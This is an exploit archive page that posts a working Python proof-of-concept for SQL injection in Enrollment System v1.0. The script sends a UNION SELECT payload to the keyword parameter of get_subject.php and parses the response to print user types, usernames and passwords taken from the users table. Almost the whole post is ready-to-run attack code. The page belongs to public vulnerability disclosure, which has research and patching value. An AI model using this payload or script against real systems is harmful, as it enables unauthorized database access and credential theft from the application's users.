what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Enrollment System 1.0 SQL Injection

Enrollment System 1.0 SQL Injection
Posted Mar 4, 2024
Authored by Gnanaraj Mauviel

Enrollment System version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | ddb348460baad158ede32a1e64b198a6eda0705abd3b466ba99ab854c0719269

Enrollment System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Enrollment System v1.0 - SQL Injection
# Date: 27 December 2023
# Exploit Author: Gnanaraj Mauviel (@0xm3m)
# Vendor: Obi08
# Vendor Homepage: https://github.com/Obi08/Enrollment_System
# Software Link: https://github.com/Obi08/Enrollment_System
# Version: v1.0
# Tested on: Mac OSX, XAMPP, Apache, MySQL

-------------------------------------------------------------------------------------------------------------------------------------------

from bs4 import BeautifulSoup
import requests
import urllib3

#The Config class defines three class attributes: BASE_URL, URI, and PAYLOAD.

#BASE_URL is set to the string "http://localhost/enrollment_system".
#URI is set to the string "/get_subject.php".
#PAYLOAD is set to the string "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -".

class Config:
BASE_URL = "http://localhost/enrollment_system"
URI = '/get_subject.php'
PAYLOAD = "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -"

urllib3.disable_warnings()
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

#This code defines a function called exploit_sqli that exploits a SQL injection vulnerability in a given URL. It takes in a requests.Session object and a Config object as parameters. The function constructs a URL using the BASE_URL and URI properties from the Config object, and creates a dictionary of parameters with a key of 'keyword' and a value of the PAYLOAD property from the Config object.
#The function then tries to make a request using the make_request function and returns the response text if successful. If an exception is raised during the request, it prints an error message and returns an empty string.

def exploit_sqli(session: requests.Session, config: Config) -> str:
"""
Exploits SQL injection vulnerability in the given URL.

Args:
session (requests.Session): The session object to use for making the request.
config (Config): Configuration object containing base URL, URI, and payload.

Returns:
str: The response text from the request.
"""
url = f"{config.BASE_URL}{config.URI}"
params = {'keyword': config.PAYLOAD}

try:
response = make_request(session, url, params)
return response.text
except requests.RequestException as e:
print(f"Request failed: {e}")
return ""

#This code defines a function called make_request that takes in a requests.Session object, a URL string, and a dictionary of parameters. It makes a POST request using the provided session and parameters, and returns the response object. The function has type hints indicating the types of the arguments and the return value.

def make_request(session: requests.Session, url: str, params: dict) -> requests.Response:
"""
Make a POST request with error handling.

Args:
session (requests.Session): The session object to use for making the request.
url (str): The URL to send the request to.
params (dict): The parameters to include in the request.

Returns:
requests.Response: The response object.
"""
return session.post(url, data=params, verify=False, proxies=proxies)

#This code snippet defines a function called parse_html that takes a string parameter response_text. It uses the BeautifulSoup library to parse the HTML in response_text and extract specific data from it. It finds all <tr> elements in the HTML, skips the header row, and then iterates over the remaining rows. For each row, it finds all <td> elements and extracts the text content from the second and third column. Finally, it prints a formatted string that includes the extracted data.

def parse_html(response_text: str):
soup = BeautifulSoup(response_text, 'html.parser')
rows = soup.find_all('tr')[1:] # Skip the header row

for row in rows:
columns = row.find_all('td')
if columns:
subject_code = columns[1].text.strip()
subject_description = columns[2].text.strip()
print(f"User_Type::Username::Password == {subject_code}")

if __name__ == "__main__":
# file deepcode ignore MissingClose: <please specify a reason of ignoring this>
session = requests.Session()
response = exploit_sqli(session, Config)

if response:
parse_html(response)

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close